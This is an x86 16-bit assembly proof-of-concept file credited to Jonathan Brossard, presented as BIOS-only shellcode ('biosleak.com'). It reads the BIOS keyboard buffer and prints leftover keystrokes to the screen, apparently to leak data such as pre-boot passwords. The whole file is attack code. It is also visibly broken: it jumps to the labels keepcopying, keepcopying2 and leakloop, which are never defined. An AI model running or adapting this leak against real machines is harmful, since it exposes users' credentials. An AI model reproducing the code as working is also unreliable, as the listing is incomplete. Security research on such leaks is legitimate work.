;------------------- [ windows-poc.asm ] -----------------------;
;								;
;	Jonathan Brossard // [email protected]                   ;
;                            [email protected]                ;
;								;
; 16b shellcode, BIOS Api only used : aimed at being Xplatform	;
; if run under virtual or real mode...				;
;								;
; Compiling : nasm -fbin ./windows-poc.asm -o biosleak.com    	;


	org 100h 

section .text 


	xor ah,ah
	mov al,0x40				; 0x40:0x1e : keyboard buffer address
	mov ds,ax

	mov al, 0x1c
	mov si, ax
	xor ch,ch
	mov cl, 0x10

	mov ax, [ds:si]

	xor ah,ah

	cmp al, 0x20
	jb keepcopying
	cmp al, 0x7e
	jb keepcopying2

	mov al, 0x20
	add si, byte +0x2			; Replace this line by add si,4
				    		; if you plan to use it under MS-Dos
						; due to imperfect emulation of 16b
						; arch under windows.

	push si
	push cx
	push ax
	mov ah, 0x03
	xor bh, bh
	int 0x10

	mov ah, 0x02
	inc dl
	int 0x10

	pop ax

	mov ah, 0ah
	mov bl, 06h
	mov cl, 0x01
	int 0x10
	pop cx
	pop si

	loop leakloop

;----- Terminate as well as we can...

	xor ah,ah
	int 0x16

	int 0x19